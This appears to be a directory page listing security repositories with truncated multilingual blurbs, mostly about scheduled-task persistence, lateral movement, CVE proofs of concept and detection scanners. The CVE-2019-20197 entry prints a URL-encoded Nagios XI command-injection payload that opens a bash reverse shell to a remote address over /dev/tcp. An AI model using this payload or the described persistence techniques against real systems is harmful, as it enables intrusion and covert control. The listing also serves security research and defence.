Bug-Bounty-Arsenal-v.3

BugBounty Arsenal A free, full-stack security scanning platform for bug bounty hunters and security researchers — 50+ detectors, continuous monitoring, and CI/CD gating from a single dashboard. ▶ Live app:bugbounty-arsenal.net — free, no credit card. If this is useful, please ⭐ the repo — it...

CVE-2021-32156

..| CSRF a RCE CRON |.. Descripción : Explotando un ataque de Cross-site request forgery CSRF para obtener una Ejecución Remota de Comandos RCE a través de la función de Trabajos Cron Programados de Webmin Versión Probada : Webmin 1.973 última versión de GitHub 07/03/2021 Tipo de Ataque: Remoto...

WMIExec

WMIexec Conjunto de scripts de Python que realizan diferentes formas de ejecución de comandos a través del protocolo WMI. Artículo del blog https://whiteknightlabs.com/2023/06/26/navigating-stealthy-wmi-lateral-movement/ Uso wmiexecscheduledjob.py Es un script de Python que se autentica en una...

NorkNork

NorkNork - Herramienta para identificar cargas útiles de persistencia de Empire https://www.n00py.io/2017/01/removing-backdoors-powershell-empire-edition/ ACERCA DE: Este script fue diseñado para identificar cargas útiles de persistencia de Powershell Empire en sistemas Windows. Actualmente sopor...

pyGPOAbuse

pyGPOAbuse Adiciones de Filtro por D4RKMATT3R AVISO: Esto solo se probó brevemente en un entorno AD local. No me responsabilizo por ningún comportamiento imprevisto o mal funcionamiento; se proporciona tal cual, solo para pruebas autorizadas, bajo su propio riesgo. Ahora admite segmentación...

CVE-2025-60710

CVE-2025-60710 This is PoC for local privilege escalation vulnerability in \Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration scheduled task. When this scheduled task is started the taskhostw.exe process whill try to open the C:\Users%username%\AppData\Local\CoreAIPlatform.00\UKP directory...

CVE-2019-20197

CVE-2019-20197 Vulnerabilidad de ejecución remota de comandos en Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

toolkit

English | Español Indetectables Toolkit Designed as a Swiss Army knife, this curated toolkit is invaluable for malware analysts, crackers, and cybersecurity experts. It is meticulously crafted to support both novice and experienced users. This toolkit complements the manuals and the numbered...

GhostTask

Ghost Scheduled Task Inspirado por la investigación de WithSecure sobre manipulación de tareas programadas, explicaron la viabilidad de crear una tarea programada únicamente mediante manipulación de claves de registro. Este enfoque puede eludir la generación de registros de eventos de creación de...

TaskHound

Windows Privileged Scheduled Task Discovery Tool for fun and profit. TaskHound hunts for Windows scheduled tasks that run with privileged accounts and stored credentials. It enumerates tasks over SMB, parses XMLs, and identifies high-value attack opportunities through BloodHound integration. For...

s3crets_scanner

S3cret Scanner: Cazando secretos cargados en buckets S3 públicos S3cret Scanner es una herramienta diseñada para proporcionar una capa complementaria a las Mejores prácticas de seguridad de Amazon S3 al cazar proactivamente secretos en buckets S3 públicos. Se puede ejecutar como tarea programada ...

SharpStay

SharpStay - Persistencia .NET Compilación Para compilar, abre el proyecto de Visual Studio y compila para release. Opciones Claves de Registro Elevadas Clave de Registro UserInit Elevada Tarea Programada Elevada Crear Servicio Elevado Suscripción a Evento WMI Elevada Clave de Registro...

ScheduleRunner

ScheduleRunner - Una herramienta C con mayor flexibilidad para personalizar tareas programadas tanto para persistencia como para movimiento lateral en operaciones de red team La tarea programada es una de las técnicas de ataque más populares en la última década y aún hoy es utilizada comúnmente p...

CVE-2022-23940

CVE-2022-23940 PoC para CVE-2022-23940, también conocido como SCRMBT-187 - Ejecución remota de código autenticada a través de informes programados en SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940 Ejemplo de uso: !asciicast...

rainmap-lite

rainmap-lite Rainmap Lite - Aplicación web receptiva que permite a los usuarios lanzar escaneos de Nmap desde sus móviles/tablets/navegadores web. A diferencia de su predecesor 1, Rainmap-lite no requiere servicios especiales RabbitMQ, PostgreSQL, Celery, supervisor, etc para facilitar su...

CVE-2023-23192

CVE-2023-23192 CVE-2023-23192- Userlock - Multi-Factor Authentication MFA Bypass Exploit Title: Userlock - Multi-Factor Authentication MFA Bypass Date: 01/11/2023 Exploit Author: Pinar Sadioglu Vendor Homepage: https://www.isdecisions.com/products/userlock/help/ Version: = 11.0.1.40 Tested on:...

ThreatScraper

ThreatScraper ThreatScraper es una herramienta basada en Python diseñada para comprobar información sobre virus utilizando la API de VirusTotal. Ofrece funcionalidades como programar la comprobación en horarios específicos, mostrar y guardar el gráfico de tendencias de detección de malware, así...

SharpPolarBear

SharpPolarBear Esta es una versión armada de uno de los exploits publicados por SandboxEscaper desde aquí https://github.com/SandboxEscaper/polarbearrepo. La mayor parte del código proviene del repositorio CollectorService de rasta-mouse https://github.com/rasta-mouse/CollectorService. Solo cambi...

CVE-2026-3502-Scanner---TrueConf-Vulnerability-Detection-Tool

🔍 CVE-2026-3502 스캐너 - TrueConf 취약점 탐지 도구 ⚠️ 경고 교육 목적 및 승인된 테스트에만 사용하십시오. 📋 설명 CVE-2026-3502 탐지 도구입니다. 업데이트 확인 없이 TrueConf 서버를 스캔하고, 취약한 Windows 클라이언트≤8.5.3.884를 탐지하며, TrueChaos의 IOC를 검색합니다: PowerISO, 레지스트리 지속성 및 예약된 작업. 📦 설치 git clone https://github.com/tu-usuario/CVE-2026-3502-Scanner.git cd...

CVE-2026-103323

The Integration for Epos Now and WooCommerce WordPress plugin before 4.11.2 does not perform an authorization check on one of its REST endpoints, allowing unauthenticated users to retrieve the site's scheduled background tasks and their arguments, which include order identifiers and, when...